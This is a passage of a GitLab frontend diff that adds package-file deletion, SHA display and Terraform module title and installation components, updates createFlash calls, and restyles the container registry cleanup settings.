+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -35,5 +35,8 @@ export const receiveSaveChangesError = (_, error) => {
const { response = {} } = error;
const message = response.data && response.data.message ? response.data.message : '';
- createFlash(`${__('There was an error saving your changes.')} ${message}`, 'alert');
+ createFlash({
+ message: `${__('There was an error saving your changes.')} ${message}`,
+ type: 'alert',
+ });
};
diff --git a/app/assets/javascripts/packages/details/components/app.vue b/app/assets/javascripts/packages/details/components/app.vue
index bcfb17a1529..55ffe10a608 100644
--- a/app/assets/javascripts/packages/details/components/app.vue
+++ b/app/assets/javascripts/packages/details/components/app.vue
@@ -13,7 +13,7 @@ import {
import { mapActions, mapState } from 'vuex';
import { objectToQueryString } from '~/lib/utils/common_utils';
import { numberToHumanSize } from '~/lib/utils/number_utils';
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
import Tracking from '~/tracking';
import PackageListRow from '../../shared/components/package_list_row.vue';
import PackagesListLoader from '../../shared/components/packages_list_loader.vue';
@@ -24,7 +24,6 @@ import DependencyRow from './dependency_row.vue';
import InstallationCommands from './installation_commands.vue';
import PackageFiles from './package_files.vue';
import PackageHistory from './package_history.vue';
-import PackageTitle from './package_title.vue';
export default {
name: 'PackagesApp',
@@ -36,7 +35,9 @@ export default {
GlTab,
GlTabs,
GlSprintf,
- PackageTitle,
+ PackageTitle: () => import('./package_title.vue'),
+ TerraformTitle: () =>
+ import('~/packages_and_registries/infrastructure_registry/components/details_title.vue'),
PackagesListLoader,
PackageListRow,
DependencyRow,
@@ -50,7 +51,18 @@ export default {
GlModal: GlModalDirective,
},
mixins: [Tracking.mixin()],
+ inject: {
+ titleComponent: {
+ default: 'PackageTitle',
+ from: 'titleComponent',
+ },
+ },
trackingActions: { ...TrackingActions },
+ data() {
+ return {
+ fileToDelete: null,
+ };
+ },
computed: {
...mapState([
'projectName',
@@ -86,13 +98,10 @@ export default {
},
},
methods: {
- ...mapActions(['deletePackage', 'fetchPackageVersions']),
+ ...mapActions(['deletePackage', 'fetchPackageVersions', 'deletePackageFile']),
formatSize(size) {
return numberToHumanSize(size);
},
- cancelDelete() {
- this.$refs.deleteModal.hide();
- },
getPackageVersions() {
if (!this.packageEntity.versions) {
this.fetchPackageVersions();
@@ -108,12 +117,43 @@ export default {
const modalQuery = objectToQueryString({ [SHOW_DELETE_SUCCESS_ALERT]: true });
window.location.replace(`${returnTo}?${modalQuery}`);
},
+ handleFileDelete(file) {
+ this.track(TrackingActions.REQUEST_DELETE_PACKAGE_FILE);
+ this.fileToDelete = { ...file };
+ this.$refs.deleteFileModal.show();
+ },
+ confirmFileDelete() {
+ this.track(TrackingActions.DELETE_PACKAGE_FILE);
+ this.deletePackageFile(this.fileToDelete.id);
+ this.fileToDelete = null;
+ },
},
i18n: {
deleteModalTitle: s__(`PackageRegistry|Delete Package Version`),
deleteModalContent: s__(
`PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?`,
),
+ deleteFileModalTitle: s__(`PackageRegistry|Delete Package File`),
+ deleteFileModalContent: s__(
+ `PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?`,
+ ),
+ },
+ modal: {
+ packageDeletePrimaryAction: {
+ text: __('Delete'),
+ attributes: [
+ { variant: 'danger' },
+ { category: 'primary' },
+ { 'data-qa-selector': 'delete_modal_button' },
+ ],
+ },
+ fileDeletePrimaryAction: {
+ text: __('Delete'),
+ attributes: [{ variant: 'danger' }, { category: 'primary' }],
+ },
+ cancelAction: {
+ text: __('Cancel'),
+ },
},
};
</script>
@@ -127,7 +167,7 @@ export default {
/>
<div v-else class="packages-app">
- <package-title>
+ <component :is="titleComponent">
<template #delete-button>
<gl-button
v-if="canDelete"
@@ -140,7 +180,7 @@ export default {
{{ __('Delete') }}
</gl-button>
</template>
- </package-title>
+ </component>
<gl-tabs>
<gl-tab :title="__('Detail')">
@@ -159,7 +199,9 @@ export default {
<package-files
v-if="showFiles"
:package-files="packageFiles"
+ :can-delete="canDelete"
@download-file="track($options.trackingActions.PULL_PACKAGE)"
+ @delete-file="handleFileDelete"
/>
</gl-tab>
@@ -210,7 +252,15 @@ export default {
</gl-tab>
</gl-tabs>
- <gl-modal ref="deleteModal" class="js-delete-modal" modal-id="delete-modal">
+ <gl-modal
+ ref="deleteModal"
+ class="js-delete-modal"
+ modal-id="delete-modal"
+ :action-primary="$options.modal.packageDeletePrimaryAction"
+ :action-cancel="$options.modal.cancelAction"
+ @primary="confirmPackageDeletion"
+ @canceled="track($options.trackingActions.CANCEL_DELETE_PACKAGE)"
+ >
<template #modal-title>{{ $options.i18n.deleteModalTitle }}</template>
<gl-sprintf :message="$options.i18n.deleteModalContent">
<template #version>
@@ -221,23 +271,22 @@ export default {
<strong>{{ packageEntity.name }}</strong>
</template>
</gl-sprintf>
+ </gl-modal>
- <template #modal-footer>
- <div class="gl-w-full">
- <div class="float-right">
- <gl-button @click="cancelDelete">{{ __('Cancel') }}</gl-button>
- <gl-button
- ref="modal-delete-button"
- variant="danger"
- category="primary"
- data-qa-selector="delete_modal_button"
- @click="confirmPackageDeletion"
- >
- {{ __('Delete') }}
- </gl-button>
- </div>
- </div>
- </template>
+ <gl-modal
+ ref="deleteFileModal"
+ modal-id="delete-file-modal"
+ :action-primary="$options.modal.fileDeletePrimaryAction"
+ :action-cancel="$options.modal.cancelAction"
+ @primary="confirmFileDelete"
+ @canceled="track($options.trackingActions.CANCEL_DELETE_PACKAGE_FILE)"
+ >
+ <template #modal-title>{{ $options.i18n.deleteFileModalTitle }}</template>
+ <gl-sprintf v-if="fileToDelete" :message="$options.i18n.deleteFileModalContent">
+ <template #filename>
+ <strong>{{ fileToDelete.file_name }}</strong>
+ </template>
+ </gl-sprintf>
</gl-modal>
</div>
</template>
diff --git a/app/assets/javascripts/packages/details/components/file_sha.vue b/app/assets/javascripts/packages/details/components/file_sha.vue
new file mode 100644
index 00000000000..a25839be7e1
--- /dev/null
+++ b/app/assets/javascripts/packages/details/components/file_sha.vue
@@ -0,0 +1,41 @@
+<script>
+import { s__ } from '~/locale';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
+
+export default {
+ name: 'FileSha',
+ components: {
+ DetailsRow,
+ ClipboardButton,
+ },
+ props: {
+ sha: {
+ type: String,
+ required: true,
+ },
+ title: {
+ type: String,
+ required: true,
+ },
+ },
+ i18n: {
+ copyButtonTitle: s__('PackageRegistry|Copy SHA'),
+ },
+};
+</script>
+
+<template>
+ <details-row dashed>
+ <div class="gl-px-4">
+ {{ title }}:
+ {{ sha }}
+ <clipboard-button
+ :text="sha"
+ :title="$options.i18n.copyButtonTitle"
+ category="tertiary"
+ size="small"
+ />
+ </div>
+ </details-row>
+</template>
diff --git a/app/assets/javascripts/packages/details/components/installation_commands.vue b/app/assets/javascripts/packages/details/components/installation_commands.vue
index 28978913e6e..ed55d7fe782 100644
--- a/app/assets/javascripts/packages/details/components/installation_commands.vue
+++ b/app/assets/javascripts/packages/details/components/installation_commands.vue
@@ -1,5 +1,6 @@
<script>
-import { PackageType } from '../../shared/constants';
+import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/components/terraform_installation.vue';
+import { PackageType, TERRAFORM_PACKAGE_TYPE } from '../../shared/constants';
import ComposerInstallation from './composer_installation.vue';
import ConanInstallation from './conan_installation.vue';
import MavenInstallation from './maven_installation.vue';
@@ -16,6 +17,7 @@ export default {
[PackageType.NUGET]: NugetInstallation,
[PackageType.PYPI]: PypiInstallation,
[PackageType.COMPOSER]: ComposerInstallation,
+ [TERRAFORM_PACKAGE_TYPE]: TerraformInstallation,
},
props: {
packageEntity: {
diff --git a/app/assets/javascripts/packages/details/components/package_files.vue b/app/assets/javascripts/packages/details/components/package_files.vue
index 103d1f489bd..0563b612d04 100644
--- a/app/assets/javascripts/packages/details/components/package_files.vue
+++ b/app/assets/javascripts/packages/details/components/package_files.vue
@@ -1,8 +1,9 @@
<script>
-import { GlLink, GlTable } from '@gitlab/ui';
+import { GlLink, GlTable, GlDropdownItem, GlDropdown, GlIcon, GlButton } from '@gitlab/ui';
import { last } from 'lodash';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import { __ } from '~/locale';
+import FileSha from '~/packages/details/components/file_sha.vue';
import Tracking from '~/tracking';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -12,8 +13,13 @@ export default {
components: {
GlLink,
GlTable,
+ GlIcon,
+ GlDropdown,
+ GlDropdownItem,
+ GlButton,
FileIcon,
TimeAgoTooltip,
+ FileSha,
},
mixins: [Tracking.mixin()],
props: {
@@ -22,6 +28,11 @@ export default {
required: false,
default: () => [],
},
+ canDelete: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
},
computed: {
filesTableRows() {
@@ -39,7 +50,6 @@ export default {
{
key: 'name',
label: __('Name'),
- tdClass: 'gl-display-flex gl-align-items-center',
},
{
key: 'commit',
@@ -55,6 +65,13 @@ export default {
label: __('Created'),
class: 'gl-text-right',
},
+ {
+ key: 'actions',
+ label: '',
+ hide: !this.canDelete,
+ class: 'gl-text-right',
+ tdClass: 'gl-w-4',
+ },
].filter((c) => !c.hide);
},
},
@@ -62,6 +79,12 @@ export default {
formatSize(size) {
return numberToHumanSize(size);
},
+ hasDetails(item) {
+ return item.file_sha256 || item.file_md5 || item.file_sha1;
+ },
+ },
+ i18n: {
+ deleteFile: __('Delete file'),
},
};
</script>
@@ -74,10 +97,18 @@ export default {
:items="filesTableRows"
:tbody-tr-attr="{ 'data-testid': 'file-row' }"
>
- <template #cell(name)="{ item }">
+ <template #cell(name)="{ item, toggleDetails, detailsShowing }">
+ <gl-button
+ v-if="hasDetails(item)"
+ :icon="detailsShowing ? 'angle-up' : 'angle-down'"
+ :aria-label="detailsShowing ? __('Collapse') : __('Expand')"
+ category="tertiary"
+ size="small"
+ @click="toggleDetails"
+ />
<gl-link
:href="item.download_path"
- class="gl-relative gl-text-gray-500"
+ class="gl-text-gray-500"
data-testid="download-link"
@click="$emit('download-file')"
>
@@ -86,7 +117,7 @@ export default {
css-classes="gl-relative file-icon"
class="gl-mr-1 gl-relative"
/>
- <span class="gl-relative">{{ item.file_name }}</span>
+ <span>{{ item.file_name }}</span>
</gl-link>
</template>
@@ -103,6 +134,32 @@ export default {
<template #cell(created)="{ item }">
<time-ago-tooltip :time="item.created_at" />
</template>
+
+ <template #cell(actions)="{ item }">
+ <gl-dropdown category="tertiary" right>
+ <template #button-content>
+ <gl-icon name="ellipsis_v" />
+ </template>
+ <gl-dropdown-item data-testid="delete-file" @click="$emit('delete-file', item)">
+ {{ $options.i18n.deleteFile }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </template>
+
+ <template #row-details="{ item }">
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-flex-grow-1 gl-bg-gray-10 gl-rounded-base gl-inset-border-1-gray-100"
+ >
+ <file-sha
+ v-if="item.file_sha256"
+ data-testid="sha-256"
+ title="SHA-256"
+ :sha="item.file_sha256"
+ />
+ <file-sha v-if="item.file_md5" data-testid="md5" title="MD5" :sha="item.file_md5" />
+ <file-sha v-if="item.file_sha1" data-testid="sha-1" title="SHA-1" :sha="item.file_sha1" />
+ </div>
+ </template>
</gl-table>
</div>
</template>
diff --git a/app/assets/javascripts/packages/details/store/actions.js b/app/assets/javascripts/packages/details/store/actions.js
index 87216366c8b..a03fa8d9d63 100644
--- a/app/assets/javascripts/packages/details/store/actions.js
+++ b/app/assets/javascripts/packages/details/store/actions.js
@@ -1,6 +1,10 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
+import createFlash from '~/flash';
+import {
+ DELETE_PACKAGE_ERROR_MESSAGE,
+ DELETE_PACKAGE_FILE_ERROR_MESSAGE,
+ DELETE_PACKAGE_FILE_SUCCESS_MESSAGE,
+} from '~/packages/shared/constants';
import { FETCH_PACKAGE_VERSIONS_ERROR } from '../constants';
import * as types from './mutation_types';
@@ -16,7 +20,7 @@ export const fetchPackageVersions = ({ commit, state }) => {
}
})
.catch(() => {
- createFlash(FETCH_PACKAGE_VERSIONS_ERROR);
+ createFlash({ message: FETCH_PACKAGE_VERSIONS_ERROR, type: 'warning' });
})
.finally(() => {
commit(types.SET_LOADING, false);
@@ -29,6 +33,27 @@ export const deletePackage = ({
},
}) => {
return Api.deleteProjectPackage(project_id, id).catch(() => {
- createFlash(DELETE_PACKAGE_ERROR_MESSAGE);
+ createFlash({ message: DELETE_PACKAGE_ERROR_MESSAGE, type: 'warning' });
});
};
+
+export const deletePackageFile = (
+ {
+ state: {
+ packageEntity: { project_id, id },
+ packageFiles,
+ },
+ commit,
+ },
+ fileId,
+) => {
+ return Api.deleteProjectPackageFile(project_id, id, fileId)
+ .then(() => {
+ const filtered = packageFiles.filter((f) => f.id !== fileId);
+ commit(types.UPDATE_PACKAGE_FILES, filtered);
+ createFlash({ message: DELETE_PACKAGE_FILE_SUCCESS_MESSAGE, type: 'success' });
+ })
+ .catch(() => {
+ createFlash({ message: DELETE_PACKAGE_FILE_ERROR_MESSAGE, type: 'warning' });
+ });
+};
diff --git a/app/assets/javascripts/packages/details/store/mutation_types.js b/app/assets/javascripts/packages/details/store/mutation_types.js
index 340d668819c..590f2d9f970 100644
--- a/app/assets/javascripts/packages/details/store/mutation_types.js
+++ b/app/assets/javascripts/packages/details/store/mutation_types.js
@@ -1,2 +1,3 @@
export const SET_LOADING = 'SET_LOADING';
export const SET_PACKAGE_VERSIONS = 'SET_PACKAGE_VERSIONS';
+export const UPDATE_PACKAGE_FILES = 'UPDATE_PACKAGE_FILES';
diff --git a/app/assets/javascripts/packages/details/store/mutations.js b/app/assets/javascripts/packages/details/store/mutations.js
index e113638311b..762fd5a4040 100644
--- a/app/assets/javascripts/packages/details/store/mutations.js
+++ b/app/assets/javascripts/packages/details/store/mutations.js
@@ -11,4 +11,7 @@ export default {
versions,
};
},
+ [types.UPDATE_PACKAGE_FILES](state, files) {
+ state.packageFiles = files;
+ },
};
diff --git a/app/assets/javascripts/packages/list/stores/actions.js b/app/assets/javascripts/packages/list/stores/actions.js
index 8dfe3c82ab3..81f587971c2 100644
--- a/app/assets/javascripts/packages/list/stores/actions.js
+++ b/app/assets/javascripts/packages/list/stores/actions.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
import {
@@ -43,7 +43,9 @@ export const requestPackagesList = ({ dispatch, state }, params = {}) => {
dispatch('receivePackagesListSuccess', { data, headers });
})
.catch(() => {
- createFlash(FETCH_PACKAGES_LIST_ERROR_MESSAGE);
+ createFlash({
+ message: FETCH_PACKAGES_LIST_ERROR_MESSAGE,
+ });
})
.finally(() => {
dispatch('setLoading', false);
@@ -52,7 +54,9 @@ export const requestPackagesList = ({ dispatch, state }, params = {}) => {
export const requestDeletePackage = ({ dispatch, state }, { _links }) => {
if (!_links || !_links.delete_api_path) {
- createFlash(DELETE_PACKAGE_ERROR_MESSAGE);
+ createFlash({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
const error = new Error(MISSING_DELETE_PATH_ERROR);
return Promise.reject(error);
}
@@ -65,10 +69,15 @@ export const requestDeletePackage = ({ dispatch, state }, { _links }) => {
const page = getNewPaginationPage(currentPage, perPage, total - 1);
dispatch('requestPackagesList', { page });
- createFlash(DELETE_PACKAGE_SUCCESS_MESSAGE, 'success');
+ createFlash({
+ message: DELETE_PACKAGE_SUCCESS_MESSAGE,
+ type: 'success',
+ });
})
.catch(() => {
dispatch('setLoading', false);
- createFlash(DELETE_PACKAGE_ERROR_MESSAGE);
+ createFlash({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
});
};
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
index b3df542e0ae..0ef6a3d0d12 100644
--- a/app/assets/javascripts/packages/shared/constants.js
+++ b/app/assets/javascripts/packages/shared/constants.js
@@ -1,4 +1,4 @@
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
export const PackageType = {
CONAN: 'conan',
@@ -11,11 +11,17 @@ export const PackageType = {
GENERIC: 'generic',
};
+// we want this separated from the main dictionary to avoid it being pulled in the search of package
+export const TERRAFORM_PACKAGE_TYPE = 'terraform_module';
+
export const TrackingActions = {
DELETE_PACKAGE: 'delete_package',
REQUEST_DELETE_PACKAGE: 'request_delete_package',
CANCEL_DELETE_PACKAGE: 'cancel_delete_package',
PULL_PACKAGE: 'pull_package',
+ DELETE_PACKAGE_FILE: 'delete_package_file',
+ REQUEST_DELETE_PACKAGE_FILE: 'request_delete_package_file',
+ CANCEL_DELETE_PACKAGE_FILE: 'cancel_delete_package_file',
};
export const TrackingCategories = {
@@ -25,7 +31,15 @@ export const TrackingCategories = {
};
export const SHOW_DELETE_SUCCESS_ALERT = 'showSuccessDeleteAlert';
-export const DELETE_PACKAGE_ERROR_MESSAGE = __('Something went wrong while deleting the package.');
+export const DELETE_PACKAGE_ERROR_MESSAGE = s__(
+ 'PackageRegistry|Something went wrong while deleting the package.',
+);
+export const DELETE_PACKAGE_FILE_ERROR_MESSAGE = s__(
+ __('PackageRegistry|Something went wrong while deleting the package file.'),
+);
+export const DELETE_PACKAGE_FILE_SUCCESS_MESSAGE = s__(
+ 'PackageRegistry|Package file deleted successfully',
+);
export const PACKAGE_ERROR_STATUS = 'error';
export const PACKAGE_DEFAULT_STATUS = 'default';
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/details_title.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/details_title.vue
new file mode 100644
index 00000000000..3e551706ed0
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/details_title.vue
@@ -0,0 +1,82 @@
+<script>
+import { GlIcon, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { mapState, mapGetters } from 'vuex';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { __ } from '~/locale';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+import timeagoMixin from '~/vue_shared/mixins/timeago';
+
+export default {
+ name: 'DetailsTitle',
+ components: {
+ TitleArea,
+ GlIcon,
+ GlSprintf,
+ MetadataItem,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [timeagoMixin],
+ i18n: {
+ packageInfo: __('v%{version} published %{timeAgo}'),
+ },
+ computed: {
+ ...mapState(['packageEntity', 'packageFiles']),
+ ...mapGetters(['packagePipeline']),
+ totalSize() {
+ return numberToHumanSize(this.packageFiles.reduce((acc, p) => acc + p.size, 0));
+ },
+ },
+ methods: {
+ dynamicSlotName(index) {
+ return `metadata-tag${index}`;
+ },
+ },
+};
+</script>
+
+<template>
+ <title-area :title="packageEntity.name" data-qa-selector="package_title">
+ <template #sub-header>
+ <gl-icon name="eye" class="gl-mr-3" />
+ <gl-sprintf :message="$options.i18n.packageInfo">
+ <template #version>
+ {{ packageEntity.version }}
+ </template>
+
+ <template #timeAgo>
+ <span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
+ &nbsp;{{ timeFormatted(packageEntity.created_at) }}
+ </span>
+ </template>
+ </gl-sprintf>
+ </template>
+
+ <template #metadata-type>
+ <metadata-item data-testid="package-type" icon="infrastructure-registry" text="Terraform" />
+ </template>
+
+ <template #metadata-size>
+ <metadata-item data-testid="package-size" icon="disk" :text="totalSize" />
+ </template>
+
+ <template v-if="packagePipeline" #metadata-pipeline>
+ <metadata-item
+ data-testid="pipeline-project"
+ icon="review-list"
+ :text="packagePipeline.project.name"
+ :link="packagePipeline.project.web_url"
+ />
+ </template>
+
+ <template v-if="packagePipeline" #metadata-ref>
+ <metadata-item data-testid="package-ref" icon="branch" :text="packagePipeline.ref" />
+ </template>
+
+ <template #right-actions>
+ <slot name="delete-button"></slot>
+ </template>
+ </title-area>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/terraform_installation.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/terraform_installation.vue
new file mode 100644
index 00000000000..399a3e086f1
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/terraform_installation.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import { mapState } from 'vuex';
+import { s__ } from '~/locale';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+
+export default {
+ name: 'ConanInstallation',
+ components: {
+ CodeInstruction,
+ GlLink,
+ GlSprintf,
+ },
+ computed: {
+ ...mapState(['packageEntity', 'terraformHelpPath', 'projectPath']),
+ provisionInstructions() {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ return `module "${this.packageEntity.name}" {
+ source = "${this.projectPath}/${this.packageEntity.name}"
+ version = "${this.packageEntity.version}"
+}`;
+ },
+ registrySetup() {
+ return `credentials "gitlab.com" {
+ token = "<TOKEN>"
+}`;
+ },
+ },
+ i18n: {
+ helpText: s__(
+ 'InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}.',
+ ),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h3 class="gl-font-lg">{{ __('Provision instructions') }}</h3>
+
+ <code-instruction
+ :label="
+ s__(
+ 'InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:',
+ )
+ "
+ :instruction="provisionInstructions"
+ :copy-text="s__('InfrastructureRegistry|Copy Terraform Command')"
+ multiline
+ />
+
+ <h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
+
+ <code-instruction
+ :label="s__('InfrastructureRegistry|To authorize access to the Terraform registry:')"
+ :instruction="registrySetup"
+ :copy-text="s__('InfrastructureRegistry|Copy Terraform Setup Command')"
+ multiline
+ />
+ <gl-sprintf :message="$options.i18n.helpText">
+ <template #link="{ content }">
+ <gl-link :href="terraformHelpPath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details_app_bundle.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details_app_bundle.js
new file mode 100644
index 00000000000..98942b1e578
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details_app_bundle.js
@@ -0,0 +1,32 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import PackagesApp from '~/packages/details/components/app.vue';
+import createStore from '~/packages/details/store';
+import Translate from '~/vue_shared/translate';
+
+Vue.use(Translate);
+
+export default () => {
+ const el = document.querySelector('#js-vue-packages-detail');
+ const { package: packageJson, canDelete: canDeleteStr, ...rest } = el.dataset;
+ const packageEntity = JSON.parse(packageJson);
+ const canDelete = parseBoolean(canDeleteStr);
+
+ const store = createStore({
+ packageEntity,
+ packageFiles: packageEntity.package_files,
+ canDelete,
+ ...rest,
+ });
+
+ return new Vue({
+ el,
+ store,
+ provide: {
+ titleComponent: 'TerraformTitle',
+ },
+ render(createElement) {
+ return createElement(PackagesApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/packages_and_registries/settings/project/components/registry_settings_app.vue b/app/assets/javascripts/packages_and_registries/settings/project/components/registry_settings_app.vue
index edbe9441e57..6da2e3a47e8 100644
--- a/app/assets/javascripts/packages_and_registries/settings/project/components/registry_settings_app.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/project/components/registry_settings_app.vue
@@ -9,17 +9,28 @@ import {
UNAVAILABLE_ADMIN_FEATURE_TEXT,
} from '~/packages_and_registries/settings/project/constants';
import expirationPolicyQuery from '~/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql';
+import CleanupPolicyEnabledAlert from '~/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue';
+import SettingsBlock from '~/vue_shared/components/settings/settings_block.vue';
import SettingsForm from './settings_form.vue';
export default {
components: {
+ SettingsBlock,
SettingsForm,
+ CleanupPolicyEnabledAlert,
GlAlert,
GlSprintf,
GlLink,
},
- inject: ['projectPath', 'isAdmin', 'adminSettingsPath', 'enableHistoricEntries'],
+ inject: [
+ 'projectPath',
+ 'isAdmin',
+ 'adminSettingsPath',
+ 'enableHistoricEntries',
+ 'helpPagePath',
+ 'showCleanupPolicyOnAlert',
+ ],
i18n: {
UNAVAILABLE_FEATURE_TITLE,
UNAVAILABLE_FEATURE_INTRO_TEXT,
@@ -75,32 +86,53 @@ export default {
</script>
<template>
- <div>
- <settings-form
- v-if="!isDisabled"
- v-model="workingCopy"
- :is-loading="$apollo.queries.containerExpirationPolicy.loading"
- :is-edited="isEdited"
- @reset="restoreOriginal"
- />
- <template v-else>
- <gl-alert
- v-if="showDisabledFormMessage"
- :dismissible="false"
- :title="$options.i18n.UNAVAILABLE_FEATURE_TITLE"
- variant="tip"
- >
- {{ $options.i18n.UNAVAILABLE_FEATURE_INTRO_TEXT }}
+ <section data-testid="registry-settings-app">
+ <cleanup-policy-enabled-alert v-if="showCleanupPolicyOnAlert" :project-path="projectPath" />
+ <settings-block default-expanded>
+ <template #title> {{ __('Clean up image tags') }}</template>
+ <template #description>
+ <span data-testid="description">
+ <gl-sprintf
+ :message="
+ __(
+ 'Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}',
+ )
+ "
+ >
+ <template #link="{ content }">
+ <gl-link :href="helpPagePath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+ <template #default>
+ <settings-form
+ v-if="!isDisabled"
+ v-model="workingCopy"
+ :is-loading="$apollo.queries.containerExpirationPolicy.loading"
+ :is-edited="isEdited"
+ @reset="restoreOriginal"
+ />
+ <template v-else>
+ <gl-alert
+ v-if="showDisabledFormMessage"
+ :dismissible="false"
+ :title="$options.i18n.UNAVAILABLE_FEATURE_TITLE"
+ variant="tip"
+ >
+ {{ $options.i18n.UNAVAILABLE_FEATURE_INTRO_TEXT }}
- <gl-sprintf :message="unavailableFeatureMessage">
- <template #link="{ content }">
- <gl-link :href="adminSettingsPath" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </gl-alert>
- <gl-alert v-else-if="fetchSettingsError" variant="warning" :dismissible="false">
- <gl-sprintf :message="$options.i18n.FETCH_SETTINGS_ERROR_MESSAGE" />
- </gl-alert>
- </template>
- </div>
+ <gl-sprintf :message="unavailableFeatureMessage">
+ <template #link="{ content }">
+ <gl-link :href="adminSettingsPath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+ <gl-alert v-else-if="fetchSettingsError" variant="warning" :dismissible="false">
+ <gl-sprintf :message="$options.i18n.FETCH_SETTINGS_ERROR_MESSAGE" />
+ </gl-alert>
+ </template>
+ </template>
+ </settings-block>
+ </section>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/settings/project/registry_settings_bundle.js b/app/assets/javascripts/packages_and_registries/settings/project/registry_settings_bundle.js
index 65af6f846aa..2a3e2c28fa6 100644
--- a/app/assets/javascripts/packages_and_registries/settings/project/registry_settings_bundle.js
+++ b/app/assets/javascripts/packages_and_registries/settings/project/registry_settings_bundle.js
@@ -19,6 +19,8 @@ export default () => {
projectPath,
adminSettingsPath,
tagsRegexHelpPagePath,
+ helpPagePath,
+ showCleanupPolicyOnAlert,
} = el.dataset;
return new Vue({
el,
@@ -32,6 +34,8 @@ export default () => {
projectPath,
adminSettingsPath,
tagsRegexHelpPagePath,
+ helpPagePath,
+ showCleanupPolicyOnAlert: parseBoolean(showCleanupPolicyOnAlert),
},
render(createElement) {
return createElement('registry-settings-app', {});
diff --git a/app/assets/javascripts/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue b/app/assets/javascripts/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue
new file mode 100644
index 00000000000..d51c62e0623
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue
@@ -0,0 +1,54 @@
+<script>
+import { GlSprintf, GlAlert, GlLink } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+
+export default {
+ components: {
+ GlAlert,
+ GlLink,
+ GlSprintf,
+ LocalStorageSync,
+ },
+ props: {
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ cleanupPoliciesSettingsPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ dismissed: false,
+ };
+ },
+ computed: {
+ storageKey() {
+ return `cleanup_policy_enabled_for_project_${this.projectPath}`;
+ },
+ },
+ i18n: {
+ message: s__(
+ 'ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}',
+ ),
+ },
+};
+</script>
+
+<template>
+ <local-storage-sync v-model="dismissed" :storage-key="storageKey">
+ <gl-alert v-if="!dismissed" class="gl-mt-2" dismissible @dismiss="dismissed = true">
+ <gl-sprintf :message="$options.i18n.message">
+ <template #link="{ content }">
+ <gl-link v-if="cleanupPoliciesSettingsPath" :href="cleanupPoliciesSettingsPath">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+ </local-storage-sync>
+</template>
